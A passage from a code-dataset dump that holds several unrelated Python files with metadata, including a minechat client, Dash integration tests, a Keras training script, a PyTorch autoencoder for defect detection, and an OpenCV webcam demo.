get_writer_data(writer, nickname)\n return json.loads(await get_reader_data(reader))\n\n\nasync def register(reader, writer, token, nickname):\n\n await get_reader_data(reader)\n await get_writer_data(writer, token)\n\n data = await get_reader_data(reader)\n if not token: \n await authenticate(reader, writer, nickname.replace(r'\\n',''))\n return\n \n user = json.loads(data)\n if user is None:\n raise UnknownTokenError\n return user\n \n\nasync def authorise(reader, writer, user):\n await get_reader_data(reader)\n await get_writer_data(writer, user[\"account_hash\"])\n data = await get_reader_data(reader)\n\n\nasync def submit_message(writer, message): \n await get_writer_data(writer, message.replace(r'\\n','')+'\\n') \n\n \nasync def minechat(parser_args):\n \n try:\n reader, writer = await asyncio.open_connection(parser_args.host, parser_args.port)\n user = await register(reader, writer, parser_args.token, parser_args.nickname)\n writer.close()\n await writer.wait_closed() \n if not user:\n return\n\n reader, writer = await asyncio.open_connection(parser_args.host, parser_args.port) \n await authorise(reader, writer, user)\n await submit_message(writer, parser_args.message)\n finally:\n writer.close()\n await writer.wait_closed() \n \n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.DEBUG)\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--host', type=str, default='minechat.dvmn.org', help=\"Host name\")\n parser.add_argument('--port', type=int, default=5050, help=\"Port number\")\n parser.add_argument('--token', type=str, default='', help=\"Enter your token\")\n parser.add_argument('--message', type=str, default='Hello', help=\"Enter your massage\")\n parser.add_argument('--nickname', type=str, default='Zina', help=\"Your name\")\n \n minechat = partial(minechat, parser_args=parser.parse_args())\n\n try:\n asyncio.run(minechat())\n except UnknownTokenError:\n \tprint('Неизвестный токен. Проверьте его или зарегистрируйте заново.')", "sub_path": "talk-minechat.py", "file_name": "talk-minechat.py", "file_ext": "py", "file_size_in_byte": 2674, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "logging.debug", "line_number": 14, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 21, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 26, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 39, "usage_type": "call"}, {"api_name": "asyncio.open_connection", "line_number": 58, "usage_type": "call"}, {"api_name": "asyncio.open_connection", "line_number": 65, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 74, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 74, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 76, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 83, "usage_type": "call"}, {"api_name": "asyncio.run", "line_number": 86, "usage_type": "call"}]} +{"seq_id": "89139615", "text": "#coding=utf-8\n\nimport torch.nn as nn\nimport torch.utils.model_zoo as model_zoo\nimport torchvision\n\nmodel_urls = {\n\t'alexnet': 'https://download.pytorch.org/models/alexnet-owt-4df8aa71.pth',\n}\n\nclass AlexNet(nn.Module):\n\n\tdef __init__(self, num_classes=1000):\n\t\tsuper(AlexNet, self).__init__()\n\t\tself.features = nn.Sequential(\n\t\t\tnn.Conv2d(3, 96, 11, stride=4),\n\t\t\tnn.ReLU(inplace=True),\n\t\t\tnn.MaxPool2d(3, stride=2),\n\t\t\tnn.LocalResponseNorm(5),\n\t\t\tnn.Conv2d(96, 256, 5, stride=1, padding=2, groups=2),\n\t\t\tnn.ReLU(inplace=True),\n\t\t\tnn.MaxPool2d(3, stride=2),\n\t\t\tnn.LocalResponseNorm(5),\n\t\t)", "sub_path": "classification/alexnet.py", "file_name": "alexnet.py", "file_ext": "py", "file_size_in_byte": 589, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "torch.nn.Module", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.LocalResponseNorm", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.LocalResponseNorm", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}]} +{"seq_id": "420709611", "text": "from multiprocessing import Value\nimport datetime\nimport itertools\nimport re\nimport dash_html_components as html\nimport dash_core_components as dcc\nimport dash_flow_example\nimport dash\nfrom dash.dependencies import Input, Output\nfrom dash.exceptions import PreventUpdate\nfrom .IntegrationTests import IntegrationTests\nfrom .utils import assert_clean_console, invincible, wait_for\n\n\nclass Tests(IntegrationTests):\n def setUp(self):\n def wait_for_element_by_id(id):\n wait_for(lambda: None is not invincible(\n lambda: self.driver.find_element_by_id(id)\n ))\n return self.driver.find_element_by_id(id)\n self.wait_for_element_by_id = wait_for_element_by_id\n\n def test_simple_callback(self):\n app = dash.Dash(__name__)\n app.layout = html.Div([\n dcc.Input(\n id='input',\n value='initial value'\n ),\n html.Div(\n html.Div([\n 1.5,\n None,\n 'string',\n html.Div(id='output-1')\n ])\n )\n ])\n\n call_count = Value('i', 0)\n\n @app.callback(Output('output-1', 'children'), [Input('input', 'value')])\n def update_output(value):\n call_count.value = call_count.value + 1\n return value\n\n self.startServer(app)\n\n output1 = self.wait_for_element_by_id('output-1')\n wait_for(lambda: output1.text == 'initial value')\n self.percy_snapshot(name='simple-callback-1')\n\n input1 = self.wait_for_element_by_id('input')\n input1.clear()\n\n input1.send_keys('hello world')\n\n output1 = lambda: self.wait_for_element_by_id('output-1')\n wait_for(lambda: output1().text == 'hello world')\n self.percy_snapshot(name='simple-callback-2')\n\n self.assertEqual(\n call_count.value,\n # an initial call to retrieve the first value\n 1 +\n # one for each hello world character\n len('hello world')\n )\n\n assert_clean_console(self)\n\n def test_wildcard_callback(self):\n app = dash.Dash(__name__)\n app.layout = html.Div([\n dcc.Input(\n id='input',\n value='initial value'\n ),\n html.Div(\n html.Div([\n 1.5,\n None,\n 'string',\n html.Div(id='output-1', **{'data-cb': 'initial value',\n 'aria-cb': 'initial value'})\n ])\n )\n ])\n\n input_call_count = Value('i', 0)\n\n @app.callback(Output('output-1', 'data-cb'), [Input('input', 'value')])\n def update_data(value):\n input_call_count.value = input_call_count.value + 1\n return value\n\n @app.callback(Output('output-1', 'children'),\n [Input('output-1', 'data-cb')])\n def update_text(data):\n return data\n\n self.startServer(app)\n output1 = self.wait_for_element_by_id('output-1')\n wait_for(lambda: output1.text == 'initial value')\n self.percy_snapshot(name='wildcard-callback-1')\n\n input1 = self.wait_for_element_by_id('input')\n input1.clear()\n\n input1.send_keys('hello world')\n\n output1 = lambda: self.wait_for_element_by_id('output-1')\n wait_for(lambda: output1().text == 'hello world')\n self.percy_snapshot(name='wildcard-callback-2')\n\n self.assertEqual(\n input_call_count.value,\n # an initial call\n 1 +\n # one for each hello world character\n len('hello world')\n )\n\n assert_clean_console(self)\n\n def test_aborted_callback(self):\n \"\"\"Raising PreventUpdate prevents update and triggering dependencies\"\"\"\n\n initial_input = 'initial input'\n initial_output = 'initial output'\n\n app = dash.Dash(__name__)\n app.layout = html.Div([\n dcc.Input(id='input', value=initial_input),\n html.Div(initial_output, id='output1'),\n html.Div(initial_output, id='output2'),\n ])\n\n callback1_count = Value('i', 0)\n callback2_count = Value('i', 0)\n\n @app.callback(Output('output1', 'children'), [Input('input', 'value')])\n def callback1(value):\n callback1_count.value = callback1_count.value + 1\n raise PreventUpdate(\"testing callback does not update\")\n return value\n\n @app.callback(Output('output2', 'children'), [Input('output1', 'children')])\n def callback2(value):\n callback2_count.value = callback2_count.value + 1\n return value\n\n self.startServer(app)\n\n input_ = self.wait_for_element_by_id('input')\n input_.clear()\n input_.send_keys('x')\n output1 = self.wait_for_element_by_id('output1')\n output2 = self.wait_for_element_by_id('output2')\n\n # callback1 runs twice (initial page load and through send_keys)\n self.assertEqual(callback1_count.value, 2)\n\n # callback2 is never triggered, even on initial load\n self.assertEqual(callback2_count.value, 0)\n\n # double check that output1 and output2 children were not updated\n self.assertEqual(output1.text, initial_output)\n self.assertEqual(output2.text, initial_output)\n\n assert_clean_console(self)\n\n self.percy_snapshot(name='aborted')\n\n def test_wildcard_data_attributes(self):\n app = dash.Dash()\n test_time = datetime.datetime(2012, 1, 10, 2, 3)\n test_date = datetime.date(test_time.year, test_time.month,\n test_time.day)\n app.layout = html.Div([\n html.Div(\n id=\"inner-element\",\n **{\n 'data-string': 'multiple words',\n 'data-number': 512,\n 'data-none': None,\n 'data-date': test_date,\n 'aria-progress': 5\n }\n )\n ], id='data-element')\n\n self.startServer(app)\n\n div = self.wait_for_element_by_id('data-element')\n\n # React wraps text and numbers with e.g. \n # Remove those\n comment_regex = ''\n\n # Somehow the html attributes are unordered.\n # Try different combinations (they're all valid html)\n permutations = itertools.permutations([\n 'id=\"inner-element\"',\n 'data-string=\"multiple words\"',\n 'data-number=\"512\"',\n 'data-date=\"%s\"' % (test_date),\n 'aria-progress=\"5\"'\n ], 5)\n passed = False\n for i, permutation in enumerate(permutations):\n actual_cleaned = re.sub(comment_regex, '',\n div.get_attribute('innerHTML'))\n expected_cleaned = re.sub(\n comment_regex,\n '',\n \"
\"\n .replace('PERMUTE', ' '.join(list(permutation)))\n )\n passed = passed or (actual_cleaned == expected_cleaned)\n if passed:\n break\n if not passed:\n raise Exception(\n 'HTML does not match\\nActual:\\n{}\\n\\nExpected:\\n{}'.format(\n actual_cleaned,\n expected_cleaned\n )\n )\n\n assert_clean_console(self)\n\n def test_flow_component(self):\n app = dash.Dash()\n\n app.layout = html.Div([\n dash_flow_example.ExampleReactComponent(\n id='react',\n value='my-value',\n label='react component'\n ),\n dash_flow_example.ExampleFlowComponent(\n id='flow',\n value='my-value',\n label='flow component'\n ),\n html.Hr(),\n html.Div(id='output')\n ])\n\n @app.callback(Output('output', 'children'),\n [Input('react', 'value'), Input('flow', 'value')])\n def display_output(react_value, flow_value):\n return html.Div([\n 'You have entered {} and {}'.format(react_value, flow_value),\n html.Hr(),\n html.Label('Flow Component Docstring'),\n html.Pre(dash_flow_example.ExampleFlowComponent.__doc__),\n html.Hr(),\n html.Label('React PropTypes Component Docstring'),\n html.Pre(dash_flow_example.ExampleReactComponent.__doc__),\n html.Div(id='waitfor')\n ])\n\n self.startServer(app)\n self.wait_for_element_by_id('waitfor')\n self.percy_snapshot(name='flowtype')\n", "sub_path": "tests/test_integration.py", "file_name": "test_integration.py", "file_ext": "py", "file_size_in_byte": 8861, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "IntegrationTests.IntegrationTests", "line_number": 15, "usage_type": "name"}, {"api_name": "utils.wait_for", "line_number": 18, "usage_type": "call"}, {"api_name": "utils.invincible", "line_number": 18, "usage_type": "call"}, {"api_name": "dash.Dash", "line_number": 25, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 26, "usage_type": "call"}, {"api_name": "dash_core_components.Input", "line_number": 27, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 31, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 32, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 36, "usage_type": "call"}, {"api_name": "multiprocessing.Value", "line_number": 41, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 43, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 43, "usage_type": "call"}, {"api_name": "utils.wait_for", "line_number": 51, "usage_type": "call"}, {"api_name": "utils.wait_for", "line_number": 60, "usage_type": "call"}, {"api_name": "utils.assert_clean_console", "line_number": 71, "usage_type": "call"}, {"api_name": "dash.Dash", "line_number": 74, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 75, "usage_type": "call"}, {"api_name": "dash_core_components.Input", "line_number": 76, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 80, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 81, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 85, "usage_type": "call"}, {"api_name": "multiprocessing.Value", "line_number": 91, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 93, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 93, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 98, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 99, "usage_type": "call"}, {"api_name": "utils.wait_for", "line_number": 105, "usage_type": "call"}, {"api_name": "utils.wait_for", "line_number": 114, "usage_type": "call"}, {"api_name": "utils.assert_clean_console", "line_number": 125, "usage_type": "call"}, {"api_name": "dash.Dash", "line_number": 133, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 134, "usage_type": "call"}, {"api_name": "dash_core_components.Input", "line_number": 135, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 136, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 137, "usage_type": "call"}, {"api_name": "multiprocessing.Value", "line_number": 140, "usage_type": "call"}, {"api_name": "multiprocessing.Value", "line_number": 141, "usage_type": "call"}, {"api_name": "dash.exceptions.PreventUpdate", "line_number": 146, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 143, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 143, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 149, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 149, "usage_type": "call"}, {"api_name": "utils.assert_clean_console", "line_number": 172, "usage_type": "call"}, {"api_name": "dash.Dash", "line_number": 177, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 178, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 179, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 181, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 182, "usage_type": "call"}, {"api_name": "itertools.permutations", "line_number": 204, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 213, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 215, "usage_type": "call"}, {"api_name": "utils.assert_clean_console", "line_number": 232, "usage_type": "call"}, {"api_name": "dash.Dash", "line_number": 235, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 237, "usage_type": "call"}, {"api_name": "dash_flow_example.ExampleReactComponent", "line_number": 238, "usage_type": "call"}, {"api_name": "dash_flow_example.ExampleFlowComponent", "line_number": 243, "usage_type": "call"}, {"api_name": "dash_html_components.Hr", "line_number": 248, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 249, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 255, "usage_type": "call"}, {"api_name": "dash_html_components.Hr", "line_number": 257, "usage_type": "call"}, {"api_name": "dash_html_components.Label", "line_number": 258, "usage_type": "call"}, {"api_name": "dash_html_components.Pre", "line_number": 259, "usage_type": "call"}, {"api_name": "dash_flow_example.ExampleFlowComponent", "line_number": 259, "usage_type": "attribute"}, {"api_name": "dash_html_components.Hr", "line_number": 260, "usage_type": "call"}, {"api_name": "dash_html_components.Label", "line_number": 261, "usage_type": "call"}, {"api_name": "dash_html_components.Pre", "line_number": 262, "usage_type": "call"}, {"api_name": "dash_flow_example.ExampleReactComponent", "line_number": 262, "usage_type": "attribute"}, {"api_name": "dash_html_components.Div", "line_number": 263, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 252, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 253, "usage_type": "call"}]} +{"seq_id": "600182369", "text": "#=====================================================================\n# Function : train model_2\n# Author : Yanyu Zhang\n# Date : 10/04/2019\n# Copyright 2019 Yanyu Zhang zhangya@bu.edu\n#=====================================================================\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom model_Sequential_2 import model_Sequential\nfrom plot_loss_acc import plot_curve \n\ntrain_datagen = ImageDataGenerator(rescale=1./255,\n rotation_range=40,\n width_shift_range=0.2,\n height_shift_range=0.2,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True)\ntest_datagen = ImageDataGenerator(rescale=1./255)\ntrain_generator = train_datagen.flow_from_directory('train',\n target_size=(150,150),\n batch_size=32,\n class_mode='binary')\nvalidation_generator = test_datagen.flow_from_directory('validation',\n target_size=(150,150),\n batch_size=32,\n class_mode='binary')\nmodel = model_Sequential()\nhistory = model.fit_generator(train_generator,\n steps_per_epoch=50,\n epochs=100,\n validation_data = validation_generator,\n validation_steps=25)\nmodel.save('poles_and_nonpoles_2.h5')\n\nplot_curve(history)\n", "sub_path": "code/basic CNN/train_2.py", "file_name": "train_2.py", "file_ext": "py", "file_size_in_byte": 1735, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 11, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 18, "usage_type": "call"}, {"api_name": "model_Sequential_2.model_Sequential", "line_number": 27, "usage_type": "call"}, {"api_name": "plot_loss_acc.plot_curve", "line_number": 35, "usage_type": "call"}]} +{"seq_id": "38317284", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n@Time : 17-11-8 上午11:05\n@Author : Nico\n\"\"\"\nimport sys\n\nimport matplotlib\n\nmatplotlib.use('Agg')\nsys.path.append('/home/nico/PycharmProjects/base_line/')\nimport torch\nfrom torch import nn\nfrom torch.optim import Adam\nfrom defect_detection.base_model.defect_model import PytorchCoreModel\nfrom defect_detection.misc.torch_layer_tools import conv_pool, conv_pool_transpose\n\n\nclass CosineLoss(nn.Module):\n def __init__(self, l1, cos):\n super(CosineLoss, self).__init__()\n self.l1 = l1\n self.cos = cos\n\n def forward(self, input):\n b, c, h, w = input.shape\n F = input.view(b, c, -1)\n loss_l1 = torch.norm(F, p=1)\n\n # # normalize F, [b, c, 1]\n F = F / (torch.norm(F, p=2, dim=2, keepdim=True) + 1e-3)\n C = torch.bmm(F, F.transpose(1, 2))\n loss_cos = torch.norm(C)\n return loss_l1 * self.l1 + loss_cos * self.cos\n\n\nclass Gram(nn.Module):\n def __init__(self):\n pass\n\n def forward(self, input, target):\n pass\n\n\nclass CAE(nn.Module):\n def __init__(self, kernel_num, kernel_size):\n super(CAE, self).__init__()\n channel = 3 if color_mode == 'rgb' else 1\n self.encoder_conv1 = conv_pool(size, hidden_size[0], channel, kernel_num[0], kernel_size[0],\n conv_stride=conv_stride[0], pool_size=pool_size[0], index=True)\n self.encoder_conv2 = conv_pool(hidden_size[0], hidden_size[1], kernel_num[0], kernel_num[1], kernel_size[1],\n conv_stride=conv_stride[1], pool_size=pool_size[1], index=True)\n self.encoder_conv3 = conv_pool(hidden_size[1], hidden_size[2], kernel_num[1], kernel_num[2], kernel_size[2],\n conv_stride=conv_stride[2], pool_size=pool_size[2], index=True)\n\n self.decoder_deconv3 = conv_pool_transpose(hidden_size[2], hidden_size[1], kernel_num[2], kernel_num[1], kernel_size[2],\n conv_stride=conv_stride[2], pool_size=pool_size[2])\n self.decoder_deconv2 = conv_pool_transpose(hidden_size[1], hidden_size[0], kernel_num[1], kernel_num[0], kernel_size[1],\n conv_stride=conv_stride[1], pool_size=pool_size[1])\n self.decoder_deconv1 = conv_pool_transpose(hidden_size[0], size, kernel_num[0], channel, kernel_size[0],\n conv_stride=conv_stride[0], pool_size=pool_size[0], activation='tanh')\n\n def forward(self, x):\n x, indices1 = self.encoder_conv1(x)\n x, indices2 = self.encoder_conv2(x)\n F, indices3 = self.encoder_conv3(x)\n\n x = self.decoder_deconv3([F, indices3])\n x = self.decoder_deconv2([x, indices2])\n x = self.decoder_deconv1([x, indices1])\n return [x, F]\n\n\nclass CDAE_Cos(PytorchCoreModel):\n def __init__(self):\n # core_name = 'kn%s_ks%s_reg%g%s' % (kernel_num, kernel_size, l2_reg,\n # '_dtn%g' % dt_noise if dt_noise != 0 else '')\n core_name = 'kn%s_ks%s_cs%s_ps%s_reg%g%s' % (kernel_num, kernel_size, conv_stride, pool_size, l2_reg,\n '_dtn%g' % dt_noise if dt_noise != 0 else '')\n cae = CAE(kernel_num, kernel_size).cuda()\n optimizer = Adam(cae.parameters(), lr=lr, weight_decay=l2_reg)\n criterion = [nn.MSELoss(), CosineLoss(l1=l1, cos=cos)]\n\n super(CDAE_Cos, self).__init__(core_name=core_name, pytorch_model=cae,\n learning_rate=lr, epoch=epoch, batch_size=batch_size,\n optimizer=optimizer, criterion=criterion,\n dt_noise=dt_noise)\n\n def _fit(self, model_dir, model_path, x, y, **kwargs):\n from torch import from_numpy\n from torch.utils.data import DataLoader, TensorDataset, Dataset\n from torch.autograd import Variable\n from tensorboardX import SummaryWriter\n\n assert x.shape == y.shape\n\n if self.dt_noise != 0:\n class NoiseDataset(Dataset):\n\n def __init__(self, data_tensor, noise_ration):\n self.data_tensor = data_tensor\n self.noise_ratio = noise_ration\n\n def __getitem__(self, index):\n from skimage.util.noise import random_noise\n x = random_noise(self.data_tensor[index], mode='s&p', amount=self.noise_ratio).astype('float32')\n y = self.data_tensor[index]\n return x, y\n\n def __len__(self):\n return self.data_tensor.size(0)\n\n ds = NoiseDataset(data_tensor=from_numpy(x).float(), noise_ration=self.dt_noise)\n else:\n ds = TensorDataset(from_numpy(x).float(), from_numpy(y).float())\n dl = DataLoader(ds, batch_size=self.batch_size, shuffle=True)\n\n log_dir = os.path.join(model_dir, 'log/')\n import shutil\n if os.path.exists(log_dir):\n shutil.rmtree(log_dir)\n writer = SummaryWriter(log_dir)\n\n for e in range(self.epoch):\n running_loss = 0.0\n for i, (x_train, y_train) in enumerate(dl, 1):\n x_train = Variable(x_train).cuda()\n y_train = Variable(y_train).cuda()\n self.optimizer.zero_grad()\n\n pred, f_map = self.model(x_train)\n recon_loss = self.criterion[0](pred, y_train)\n cosine_loss = self.criterion[1](f_map)\n loss = sum([recon_loss, cosine_loss])\n writer.add_scalar('train/loss', loss.item(), e)\n loss.backward()\n self.optimizer.step()\n\n # print statistics\n running_loss += loss.item()\n print(('[epoch:\\t%d, batchs:\\t%d] loss: %.5f' % (e + 1, i, running_loss / i)))\n writer.close()\n\n\nif __name__ == '__main__':\n import os\n\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = '1'\n\n color_mode = 'gray'\n pattern = 1\n size = 512\n stride = 128\n hist = True\n image_shape = (1024, 1024)\n noise_ratio = 0.\n dt_noise = 0.\n if dt_noise != 0:\n noise_ratio = 0\n\n kernel_num = [20, 25, 30]\n kernel_size = [16, 8, 3]\n\n hidden_size = [64, 8, 4]\n conv_stride = [4, 2, 1]\n pool_size = [2, 4, 2]\n\n lr = 1.5e-3\n l2_reg = 0.\n\n l1 = 1e-7\n cos = 1e-6\n\n epoch = 70\n batch_size = 64\n\n from utils.data_box import DataBox\n from defect_detection.base_model.defect_model import DefectModel\n\n data_box = DataBox(color_mode=color_mode, pattern=pattern, patch_size=size, patch_stride=stride,\n image_shape=image_shape, hist_flag=hist, noise_ratio=noise_ratio)\n\n cae_core = CDAE_Cos()\n\n defect_model = DefectModel(core_model=cae_core, data_box=data_box)\n defect_model.train_model()\n defect_model.test_model(patch_stride=(128, 128))\n\n # eval_patch_stride = 128\n # threshold = 0.\n # defect_model = DefectModel(core_model=cae_core, data_box=data_box, eval_threshold=threshold)\n # defect_model.load_model()\n # defect_model.test_model(patch_stride=(eval_patch_stride, eval_patch_stride))\n", "sub_path": "cae/cae_patch_pytorch_gram.py", "file_name": "cae_patch_pytorch_gram.py", "file_ext": "py", "file_size_in_byte": 7276, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "matplotlib.use", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 19, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.norm", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.norm", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.norm", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 37, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 45, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 45, "usage_type": "name"}, {"api_name": "defect_detection.misc.torch_layer_tools.conv_pool", "line_number": 49, "usage_type": "call"}, {"api_name": "defect_detection.misc.torch_layer_tools.conv_pool", "line_number": 51, "usage_type": "call"}, {"api_name": "defect_detection.misc.torch_layer_tools.conv_pool", "line_number": 53, "usage_type": "call"}, {"api_name": "defect_detection.misc.torch_layer_tools.conv_pool_transpose", "line_number": 56, "usage_type": "call"}, {"api_name": "defect_detection.misc.torch_layer_tools.conv_pool_transpose", "line_number": 58, "usage_type": "call"}, {"api_name": "defect_detection.misc.torch_layer_tools.conv_pool_transpose", "line_number": 60, "usage_type": "call"}, {"api_name": "defect_detection.base_model.defect_model.PytorchCoreModel", "line_number": 74, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 82, "usage_type": "name"}, {"api_name": "skimage.util.noise.random_noise", "line_number": 106, "usage_type": "call"}, {"api_name": "{'random_noise': 'skimage.util.noise.random_noise'}", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 116, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 121, "usage_type": "call"}, {"api_name": "tensorboardX.SummaryWriter", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 127, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 128, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 148, "usage_type": "attribute"}, {"api_name": "utils.data_box.DataBox", "line_number": 180, "usage_type": "call"}, {"api_name": "{'from_numpy': 'torch.from_numpy', 'DataLoader': 'torch.utils.data.DataLoader', 'TensorDataset': 'torch.utils.data.TensorDataset', 'Dataset': 'torch.utils.data.Dataset', 'Variable': 'torch.autograd.Variable', 'SummaryWriter': 'tensorboardX.SummaryWriter', 'shutil': 'shutil'}", "line_number": 183, "usage_type": "call"}, {"api_name": "defect_detection.base_model.defect_model.DefectModel", "line_number": 185, "usage_type": "call"}]} +{"seq_id": "66453272", "text": "import cv2\n# from google.colab.patches import cv2_imshow\n\n\ncap = cv2.VideoCapture(0)\n\nwidth =int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\nheight = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n\nx = width//2\ny = height//2\n\nw = width//4\nh = height//4\n\n\nwhile True:\n ret,frame = cap.read()\n \n cv2.rectangle(frame, pt1=(x,y), pt2=(x+w,y+h), color=(255,0,0), thickness=3)\n \n \n cv2.imshow('frame',frame)\n \n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\ncap.release()\ncv2.destroyAllWindows()", "sub_path": "video_basics_opencv/drawing_on_live_image2.py", "file_name": "drawing_on_live_image2.py", "file_ext": "py", "file_size_in_byte": 485, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "cv2.VideoCapture", "line_number": 5, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FRAME_WIDTH", "line_number": 7, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_HEIGHT", "line_number": 8, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 29, "usage_type": "call"}]} +{"seq_id": "291789764", "text": "from PyQt5 import QtWidgets, QtCore, QtGui\n\nfrom msl.equipment.resources.thorlabs.kinesis.enums import SC_OperatingModes, SC_OperatingStates\n\n\nclass ShutterWidget(QtWidgets.QAbstractButton):\n\n def __init__(self, config, parent=None, height=16):\n super(ShutterWidget, self).__init__(parent)\n\n self.connection = config.database().equipment['shutter'].connect()\n self.connection.set_mmi_params_ext(0, 0, 0)\n self.connection.set_operating_mode(SC_OperatingModes.SC_Manual)\n self.close_shutter()\n\n self._height = height\n self._pad = int(self._height * 0.25)\n self._closed_brush = 